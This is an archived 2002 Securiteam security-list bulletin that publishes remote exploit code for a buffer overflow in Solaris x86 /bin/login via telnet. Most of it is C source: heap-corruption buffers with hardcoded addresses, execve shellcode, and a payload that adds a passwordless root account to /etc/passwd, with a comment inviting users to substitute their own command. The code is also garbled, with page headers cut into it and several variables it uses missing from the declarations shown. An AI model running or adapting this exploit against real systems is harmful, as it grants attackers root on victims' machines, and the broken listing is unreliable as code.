

[EXPL] Solaris /bin/login Remote Exploit Code

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0021.html>

From: support@securiteam.com

Date: 01/04/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 4 Jan 2002 20:59:30 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Solaris /bin/login Remote Exploit Code

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/unixfocus/6X00G0K3FM.html>> Buffer Overflow in /bin/login, a security vulnerability in /bin/login allows remote attacker to execute arbitrary code remotely and gain elevated privileges. The exploit code below can be used to test for this vulnerability.

DETAILS

/*

* 2001.11.26

* Solaris x86 2.8

* /bin/login remote exploit

* it works for telnet

* This code so many fixed addresses,so it may not work on other systems...

* Author: mat@monkey.org (JW. Oh)

* No warranty! Use at your own risk! And don't ask me anything!!!

* change exec_argv3 value to execute your own command

* and use ip address instead of hostname for argv[0]

* updated 2001.11.26.

* added if you installed solaris x86 full package uncomment

X86_FULL_PACKAGE

Securiteam: [EXPL] Solaris /bin/login Remote Exploit Code

end-user

```
0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS
0x080667b0->0x080689d4 at 0x000067b0: .bss ALLOC
```

full users

```
0x080654e0->0x080656b8 at 0x000054e0: .got ALLOC LOAD DATA
HAS_CONTENTS
0x080667b8->0x080689dc at 0x000067b8: .bss ALLOC
```

if your system is not exploited with this exploit, try dump sections with gdb...and compare the .got,.bss section values...

*/

```
//#define X86_FULL_PACKAGE
```

```
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
```

```
void dump_hex(char *str,char *data,int len)
```

```
{
    int i;
    if(str)
    {
        printf("\n=====%s:%d=====\n",str,len);
    }else{
        printf("\n=====\n");
    }
    for(i=0;i<len;i++)
    {
        printf("x%.2x",(data[i]&0xff));
    }
    printf("\n-----\n");
    for(i=0;i<len;i++)
    {
        if(data[i]==0x00)
        {
            printf("|");
        }else
        {
            printf("%c",data[i]);
        }
    }
    printf("\n");
    fflush(stdout);
}
```

Securiteam: [EXPL] Solaris /bin/login Remote Exploit Code

```
int send_data(int sock,const char *send_data,int send_len)
{
    int wc;
    int rc;
    char recv_buf[1000];

    if(send_data && send_len>0)
    {
        wc=send(sock,send_data,send_len,0);
    }
    rc=recv(sock,recv_buf,sizeof(recv_buf),0);
    if(rc>0)
    {
        dump_hex("recv",recv_buf,rc);
    }
}

void main(int argc,char *argv[])
{
    int sock;
    struct sockaddr_in address;
    int i;

    char send_data_1[]={
        0xff,0xfd,0x03,
        0xff,0xfb,0x18,
        0xff,0xfb,0x1f,
        0xff,0xfb,0x20,
        0xff,0xfb,0x21,
        0xff,0xfb,0x22,
        0xff,0xfb,0x27,
        0xff,0xfd,0x05,
        0xff,0xfb,0x23
    };
    char send_data_2[]={
        0xff,0xfa,0x1f,0x00,0x50,0x00,0x18,
        0xff,0xf0,
        0xff,0xfc,0x24
    };
    char send_data_3[]={
        0xff,0xfd,0x01,
        0xff,0xfc,0x01
    };

    char str_buffer[1024*30];
    int str_buffer_pos=0;
    char str_end[2]={0xd,0x0};

    char *env_str;
    int env_str_len;
    char env_1[4]={0xff,0xfa,0x18,0x00};
```


Securiteam: [EXPL] Solaris /bin/login Remote Exploit Code

```

char login_buffer1_2[]=" 6=8";
char link_pos[]={0x97,0xff,0xff,0xff,0xff,0xff,0xff};
//Ã¹øÃ° A -1 ÀÓ
char login_buffer2[]="A=AB";
// 0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA
HAS_CONTENTS
//0x80655a4 <_GLOBAL_OFFSET_TABLE_+208>: 0xdf9bd0b8 <strncpy>
//(gdb) print/x 0x80655a4 - 0x20
//$1 = 0x8065584
#ifdef X86_FULL_PACKAGE
char t_delete2_edi_plus_0x8[]={0x90,0x55,0x06,0x08}; //strncpy-0x20,ecx
#else
char t_delete2_edi_plus_0x8[]={0x84,0x55,0x06,0x08}; //strncpy-0x20,ecx
#endif
char login_buffer2_0[]="GHIJ";
char
t_delete2_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
char login_buffer2_1[]="OPQRSTUVWXYZ";

//0x806810d <inputline+780>: 'A' <repeats 82 times>, "\n"
#ifdef X86_FULL_PACKAGE
char t_delete2_edi_plus_0x20[]={0x06,0x81,0x06,0x08}; //shellcode,eax
#else
char t_delete2_edi_plus_0x20[]={0xfe,0x80,0x06,0x08}; //shellcode,eax
#endif
//0x8067e01 <inputline>:
"heowahfoihewobhfoiewhiofhoewhofhoeiwhofwhofhiewwhfoiew
char login_buffer2_2[]="efghijklmnopqrstuvwxyz0123456789A\\r\n\
jk11=A jm21=C nj31=A jo41=A pi51=A jq61=A jr71=A js81=g jt91=A ju01=A
jv11=A jw21=B jy";//31=A z";//4=A k2=A k3=A k";
#ifdef X86_FULL_PACKAGE
//char strncpy_src[]={0xf9,0x3b,0x05,0x08};
char strncpy_src[]={0x31,0x80,0x06,0x08};
#else
char strncpy_src[]={0xf1,0x3b,0x05,0x08};
#endif
char env_buffer[]="hi1=A hi2=A hi3=A hi";
char pam_input_output_eax[]={0x48,0x8a,0x06,0x08}; //0x8068a48
char env_buffer0[]="hi5=A hi6=A hi7=A hi";
#ifdef X86_FULL_PACKAGE
char free_dest_buffer[]={0x31,0x80,0x06,0x08};
#else
char free_dest_buffer[]={0x29,0x80,0x06,0x08};
#endif
char env_buffer2[]="zi9=";
#ifdef X86_FULL_PACKAGE
char free_dest_buffer2[]={0x31,0x80,0x06,0x08};
#else
char free_dest_buffer2[]={0x29,0x80,0x06,0x08};
#endif

```

Securiteam: [EXPL] Solaris /bin/login Remote Exploit Code

```

char exp_buffer0[]="hello";
char jmp_code[]={0xeb,0xc};
char exp_buffer1[]="\r\nhhhhhhhhhh";
char shellcode[]=
{
0xeb,0x1d,
0x5e, /*popl %esi*/
0x33,0xc0, /*xorl %eax,%eax*/
0x50, /*pushl %eax - ,0x0*/
#ifdef X86_FULL_PACKAGE
0x68,0x46,0x81,0x06,0x08,
0x68,0x43,0x81,0x06,0x08,
0x68,0x40,0x81,0x06,0x08,
0x68,0x38,0x81,0x06,0x08,
#else
0x68,0x3e,0x81,0x06,0x08,
0x68,0x3b,0x81,0x06,0x08,
0x68,0x38,0x81,0x06,0x08,
0x68,0x30,0x81,0x06,0x08,
#endif
#ifdef X86_FULL_PACKAGE
0xe8,0x25,0xa0,0xfe,0xff,0xff, /*call execve: 0xffff9fee*/
#else
0xe8,0x2e,0xa0,0xfe,0xff,0xff, /*call execve: 0xffff9fee*/
#endif
0xe8,0xde,0xff,0xff,0xff,0xff,0xff,0xff /*call again*/
};
char exec_argv0[]="/bin/sh";
char exec_argv1[]="sh";
char exec_argv2[]="-c";
char exec_argv3[]="/bin/echo met:x:0:1:::/bin/sh>>/etc/passwd;";
//"/bin/echo met::11652:.....>>/etc/shadow;";
//"/bin/finger @210.111.69.137";
//211.59.123.155";
char extra_buffer[]="hihihihfhwiohfiohweiofhiowehfoihefe\r\n";
#ifdef X86_FULL_PACKAGE
char free_dest_buffer3[]={0x31,0x80,0x06,0x08};
#else
char free_dest_buffer3[]={0x29,0x80,0x06,0x08};
#endif
char env_buffer5[]="70=b \r\n\
hr371=b hs372=";
char pam_input_output_eax2[]={0xf5,0x3b,0x05,0x08};
char env_buffer5_0[]="473=";
char pam_get_authtok_eax[]={0xf6,0x3b,0x05,0x08}; //0x8053bfa ÀÓ½Ã~Åë
char pam_get_data_esi[]={0xa8,0xb1,0x06,0x08}; //0x806b1a8
display="";
terminal_name="";

env_str_len=
sizeof(env_1)+

```

Securiteam: [EXPL] Solaris /bin/login Remote Exploit Code

```
strlen(terminal_name)+
sizeof(env_2)+
strlen(display)+
sizeof(env_3)+
strlen(display_var)+
sizeof(display_delimiter)+
strlen(display_value)+
sizeof(env_4);

env_str=(char *)calloc(1,env_str_len);
if(env_str)
{
    env_cur_pos=0;
    memcpy(env_str+env_cur_pos,env_1,sizeof(env_1));
    env_cur_pos+=sizeof(env_1);
    memcpy(env_str+env_cur_pos,terminal_name,strlen(terminal_name));
    env_cur_pos+=strlen(terminal_name);
    memcpy(env_str+env_cur_pos,env_2,sizeof(env_2));
    env_cur_pos+=sizeof(env_2);
    memcpy(env_str+env_cur_pos,display,strlen(display));
    env_cur_pos+=strlen(display);
    memcpy(env_str+env_cur_pos,env_3,sizeof(env_3));
    env_cur_pos+=sizeof(env_3);
    memcpy(env_str+env_cur_pos,display_var,strlen(display_var));
    env_cur_pos+=strlen(display_var);

memcpy(env_str+env_cur_pos,display_delimiter,sizeof(display_delimiter));
    env_cur_pos+=sizeof(display_delimiter);
    memcpy(env_str+env_cur_pos,display_value,strlen(display_value));
    env_cur_pos+=strlen(display_value);
    memcpy(env_str+env_cur_pos,env_4,sizeof(env_4));
    env_cur_pos+=sizeof(env_4);
}

/*socket operation*/
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
    return;
}
address.sin_family=AF_INET;
address.sin_port=htons(23);
//inet_pton(AF_INET,argv[1],&address.sin_addr); //on some system no
inet_pton exists
    address.sin_addr.s_addr=inet_addr(argv[1]);

if(connect(sock,(struct sockaddr *)&address,sizeof(address))<0)
{
    return;
}
send_data(sock,NULL,0);
```

Securiteam: [EXPL] Solaris /bin/login Remote Exploit Code

```
send_data(sock,send_data_1,sizeof(send_data_1));
send_data(sock,send_data_2,sizeof(send_data_2));

//dump_hex("env",env_str,env_cur_pos);
send_data(sock,env_str,env_cur_pos);
free(env_str);

send_data(sock,send_data_3,sizeof(send_data_3));

str_buffer_pos=0;

memcpy(str_buffer+str_buffer_pos,exploit_buffer,strlen(exploit_buffer));
str_buffer_pos+=strlen(exploit_buffer);

strcpy(str_buffer+str_buffer_pos,login_buffer);
str_buffer_pos+=strlen(login_buffer);

memcpy(str_buffer+str_buffer_pos,realfree_edx,sizeof(realfree_edx));
str_buffer_pos+=sizeof(realfree_edx);

strcpy(str_buffer+str_buffer_pos,login_buffer1);
str_buffer_pos+=strlen(login_buffer1);

memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x8,sizeof(t_delete_edi_plus_0x8));
str_buffer_pos+=sizeof(t_delete_edi_plus_0x8);

memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0xa,strlen(t_delete_edi_plus_0xa));
str_buffer_pos+=strlen(t_delete_edi_plus_0xa);

memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x10,sizeof(t_delete_edi_plus_0x10));
str_buffer_pos+=sizeof(t_delete_edi_plus_0x10);

strcpy(str_buffer+str_buffer_pos,login_buffer1_0);
str_buffer_pos+=strlen(login_buffer1_0);

memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x20,sizeof(t_delete_edi_plus_0x20));
str_buffer_pos+=sizeof(t_delete_edi_plus_0x20);

strcpy(str_buffer+str_buffer_pos,login_buffer1_1);
str_buffer_pos+=strlen(login_buffer1_1);

memcpy(str_buffer+str_buffer_pos,t_delete2_param1,sizeof(t_delete2_param1));
str_buffer_pos+=sizeof(t_delete2_param1);
strcpy(str_buffer+str_buffer_pos,login_buffer1_2);
str_buffer_pos+=strlen(login_buffer1_2);

memcpy(str_buffer+str_buffer_pos,link_pos,sizeof(link_pos));
str_buffer_pos+=sizeof(link_pos);
```

Securiteam: [EXPL] Solaris /bin/login Remote Exploit Code

```
strcpy(str_buffer+str_buffer_pos,login_buffer2);
str_buffer_pos+=strlen(login_buffer2);

memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x8,sizeof(t_delete2_edi_plus_0x8));
str_buffer_pos+=sizeof(t_delete2_edi_plus_0x8);

strcpy(str_buffer+str_buffer_pos,login_buffer2_0);
str_buffer_pos+=strlen(login_buffer2_0);

memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x10,sizeof(t_delete2_edi_plus_0x10));
str_buffer_pos+=sizeof(t_delete2_edi_plus_0x10);

strcpy(str_buffer+str_buffer_pos,login_buffer2_1);
str_buffer_pos+=strlen(login_buffer2_1);

memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x20,sizeof(t_delete2_edi_plus_0x20));
str_buffer_pos+=sizeof(t_delete2_edi_plus_0x20);

strcpy(str_buffer+str_buffer_pos,login_buffer2_2);
str_buffer_pos+=strlen(login_buffer2_2);

memcpy(str_buffer+str_buffer_pos,strncpy_src,sizeof(strncpy_src));
str_buffer_pos+=sizeof(strncpy_src);

memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer));
str_buffer_pos+=strlen(env_buffer);

memcpy(str_buffer+str_buffer_pos,pam_input_output_eax,sizeof(pam_input_output_eax));
str_buffer_pos+=sizeof(pam_input_output_eax);

memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer0));
str_buffer_pos+=strlen(env_buffer0);

memcpy(str_buffer+str_buffer_pos,free_dest_buffer,sizeof(free_dest_buffer));
str_buffer_pos+=sizeof(free_dest_buffer);

memcpy(str_buffer+str_buffer_pos,env_buffer2,strlen(env_buffer2));
str_buffer_pos+=strlen(env_buffer2);

memcpy(str_buffer+str_buffer_pos,free_dest_buffer2,sizeof(free_dest_buffer2));
str_buffer_pos+=sizeof(free_dest_buffer2);

strcpy(str_buffer+str_buffer_pos,exp_buffer0);
str_buffer_pos+=strlen(exp_buffer0);
memcpy(str_buffer+str_buffer_pos,jmp_code,sizeof(jmp_code));
```

Securiteam: [EXPL] Solaris /bin/login Remote Exploit Code

```
str_buffer_pos+=sizeof(jmp_code);
strcpy(str_buffer+str_buffer_pos,exp_buffer1);
str_buffer_pos+=strlen(exp_buffer1);
memcpy(str_buffer+str_buffer_pos,shellcode,sizeof(shellcode));
str_buffer_pos+=sizeof(shellcode);
strcpy(str_buffer+str_buffer_pos,exec_argv0);
str_buffer_pos+=strlen(exec_argv0)+1;
strcpy(str_buffer+str_buffer_pos,exec_argv1);
str_buffer_pos+=strlen(exec_argv1)+1;
strcpy(str_buffer+str_buffer_pos,exec_argv2);
str_buffer_pos+=strlen(exec_argv2)+1;
strcpy(str_buffer+str_buffer_pos,exec_argv3);
str_buffer_pos+=strlen(exec_argv3)+1;

memcpy(str_buffer+str_buffer_pos,str_end,strlen(str_end));
str_buffer_pos+=strlen(str_end);

{
    char buf[100];
    fgets(buf,100,stdin);
}
printf("sending login!\n");
fflush(stdout);
send_data(sock,str_buffer,str_buffer_pos);
send_data(sock,NULL,0);
printf("\n\npress return to send password\n...");

{
    char buf[100];
    fgets(buf,100,stdin);
}

send_data(sock,str_buffer,strlen(str_buffer)+1);
printf("\n\nwaiting for the realloc & t_delete to be
called!\n...\n\n");
fflush(stdout);
sleep(30);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:mat@monkey.org>> JW. Oh.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] Solaris /bin/login Remote Exploit Code

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- ***Previous message:*** support@securiteam.com: "[\[TOOL\] AIM Filter \(Vulnerability Filtering Assistant\)](#)"
- ***Messages sorted by:*** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)